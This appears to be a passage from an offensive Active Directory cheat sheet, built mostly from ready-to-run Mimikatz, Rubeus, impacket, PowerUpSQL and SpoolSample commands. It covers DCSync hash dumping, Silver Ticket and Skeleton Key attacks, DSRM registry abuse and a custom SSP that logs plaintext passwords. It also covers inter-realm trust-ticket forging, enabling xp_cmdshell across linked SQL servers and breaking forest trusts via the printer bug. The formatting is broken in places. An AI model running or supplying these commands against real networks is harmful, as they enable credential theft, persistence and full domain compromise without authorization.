
    #DCsync using secretsdump.py from impacket with Kerberos Authentication
    secretsdump.py -no-pass -k <Domain>/<Username>@<DC'S IP or FQDN> -just-
dc-ntlm
    \ \ \

    **Tip:** \
    /ptt -> inject ticket on current running session \
    /ticket -> save the ticket on the system for later use
    ### Silver Ticket Attack
    \ \ \

    Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName>
/sid:<DomainSID> /target:<TheTargetMachine> /service:
<ServiceType> /rc4:<TheSPN's Account NTLM Hash>
/user:<UserToImpersonate> /ptt"'
    \ \ \

    [SPN List] (https://adsecurity.org/?page\_id=183)
    ### Skeleton Key Attack
    \ \ \

    #Exploitation Command runned as DA:
    Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -
ComputerName <DC's FQDN>

    #Access using the password "mimikatz"
    Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential
<Domain>\Administrator
    \ \ \

    ### DSRM Abuse

    *WUT IS DIS?: Every DC has a local Administrator account, this accounts
has the DSRM password which is a SafeBackupPassword. We can get this and
then pth its NTLM hash to get local Administrator access to DC!*

    \ \ \

    #Dump DSRM password (needs DA privs):
    Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName
<DC's Name>

    #This is a local account, so we can PTH and authenticate!
    #BUT we need to alter the behaviour of the DSRM account before pth:
    #Connect on DC:
    Enter-PSSession -ComputerName <DC's Name>

    #Alter the Logon behaviour on registry:
    New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name
"DsrAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose

    #If the property already exists:

```

```
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name
"DsrAdminLogonBehaviour" -Value 2 -Verbose
\\
```

Then just PTH to get local admin access on DC!  
### Custom SSP

\*WUT IS DIS?: We can set our on SSP by dropping a custom dll, for example mimilib.dll from mimikatz, that will monitor and capture plaintext passwords from users that logged on!\*

From powershell:  
\\

```
#Get current Security Package:
$packages = Get-ItemProperty
"HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security
Packages' | select -ExpandProperty 'Security Packages'
```

```
#Append mimilib:
$packages += "mimilib"
```

```
#Change the new packages name
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -
Name 'Security Packages' -Value $packages
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name
'Security Packages' -Value $packages
```

```
#ALTERNATIVE:
Invoke-Mimikatz -Command '"misc::memssp"'
\\
```

Now all logons on the DC are logged to -> C:\Windows\System32\kiwissp.log

## Cross Forest Attacks

### Trust Tickets

\*WUT IS DIS?: If we have Domain Admin rights on a Domain that has Bidirectional Trust relationship with an other forest we can get the Trust key and forge our own inter-realm TGT.\*

:warning: The access we will have will be limited to what our DA account is configured to have on the other Forest!

Using Mimikatz:  
\\

```
#Dump the trust key
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
```

```
#Forge an inter-realm TGT using the Golden Ticket attack
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator
/domain:<OurDomain> /sid:
<OurDomainSID> /rc4:<TrustKey> /service:krbtgt /target:<TheTargetDomain>
/ticket:
<PathToSaveTheGoldenTicket>"'
\\
```

:exclamation: Tickets -> .kirbi format

Then Ask for a TGS to the external Forest for any service using the inter-realm TGT and access the resource!

Using Rubeus:

\\`

.\Rubeus.exe asktgs /ticket:<kirbi file> /service:"Service's SPN" /ptt

\\`

### ### Abuse MSSQL Servers

- Enumerate MSSQL Instances: `Get-SQLInstanceDomain`

- Check Accessibility as current user:

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Get-SQLConnectionTestThreaded

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

\\`

- Gather Information about the instance: `Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose`

- Abusing SQL Database Links: \

\*WUT IS DIS?: A database link allows a SQL Server to access other resources like other SQL Server. If we have two linked SQL Servers we can execute stored procedures in them. Database links also works across Forest Trust!\*

Check for existing Database Links:

\\`

#Check for existing Database Links:

#PowerUpSQL:

Get-SQLServerLink -Instace <SPN> -Verbose

#MSSQL Query:

select \* from master..sys.servers

\\`

Then we can use queries to enumerate other links from the linked Database:

\\`

#Manually:

select \* from openquery("LinkedDatabase", 'select \* from master..sys.servers')

#PowerUpSQL (Will Enum every link across Forests and Child Domain of the Forests):

Get-SQLServerLinkCrawl -Instance <SPN> -Verbose

#Then we can execute command on the machine's where the SQL Service runs using xp\_cmdshell

#Or if it is disabled enable it:

EXECUTE('sp\_configure "xp\_cmdshell",1;reconfigure;') AT "SPN"

\\`

Query execution:

\\`

```
Get-SQLServerLinkCrawl -Instace <SPN> -Query "exec master..xp_cmdshell
'whoami'"
\\
```

### ### Breaking Forest Trusts

```
*WUT IS DIS?: \
TL;DR \
```

If we have a bidirectional trust with an external forest and we manage to compromise a machine on the local forest that has enabled unconstrained delegation (DCs have this by default), we can use the printerbug to force the DC of the external forest's root domain to authenticate to us. Then we can capture it's TGT, inject it into memory and DCsync to dump it's hashes, giving ous complete access over the whole forest.\*

Tools we are going to use:

- [Rubeus] (<https://github.com/GhostPack/Rubeus>)
- [SpoolSample] (<https://github.com/leechristensen/SpoolSample>)
- [Mimikatz] (<https://github.com/gentilkiwi/mimikatz>)

Exploitation example:

```
\\
```

#Start monitoring for TGTs with rubeus:

```
Rubeus.exe monitor /interval:5 /filteruser:target-dc$
```

#Execute the printerbug to trigger the force authentication of the target DC to our machine

```
SpoolSample.exe target-dc$.external.forest.local
dc.compromised.domain.local
```

#Get the base64 captured TGT from Rubeus and inject it into memory:

```
Rubeus.exe ptt /ticket:<Base64ValueofCapturedTicket>
```

#Dump the hashes of the target domain using mimikatz:

```
lsadump::dcsync /domain:external.forest.local /all
\\
```

Detailed Articles:

- [Not A Security Boundary: Breaking Forest Trusts] (<https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/>)
- [Hunting in Active Directory: Unconstrained Delegation & Forests Trusts] (<https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1>)